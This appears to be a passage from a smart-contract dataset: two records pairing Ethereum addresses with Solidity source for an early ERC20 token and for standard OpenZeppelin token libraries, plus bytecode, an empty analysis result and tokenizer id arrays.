[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,590
0x9709c188716fd61af9d1b6ee60e2b86e0f612478
pragma solidity ^0.4.6; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract KoaStandardToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H0.1'; function KoaStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610956565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610969565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a07565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aee565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c57565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef8565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107a7575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156107b35750600082115b1561094a5781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061094f565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109ff5780601f106109d4576101008083540402835291602001916109ff565b820191906000526020600020905b8154815290600101906020018083116109e257829003601f168201915b505050505081565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae65780601f10610abb57610100808354040283529160200191610ae6565b820191906000526020600020905b815481529060010190602001808311610ac957829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b3f5750600082115b15610c4c5781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c51565b600090505b92915050565b600082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610e98578082015181840152602081019050610e7d565b50505050905090810190601f168015610ec55780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610eed57600080fd5b600190509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820e82999f7f71724e6b9a6c255816286c371240db863a37a7f8d2930021c9631df0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2683, 2278, 15136, 2620, 2581, 16048, 2546, 2094, 2575, 2487, 10354, 2683, 2094, 2487, 2497, 2575, 4402, 16086, 2063, 2475, 2497, 20842, 2063, 2692, 2546, 2575, 12521, 22610, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1020, 1025, 3206, 19204, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 1035, 2013, 1010, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,591
0x9709eF644C14CfF7a01652e43564D52A99F77829
pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * 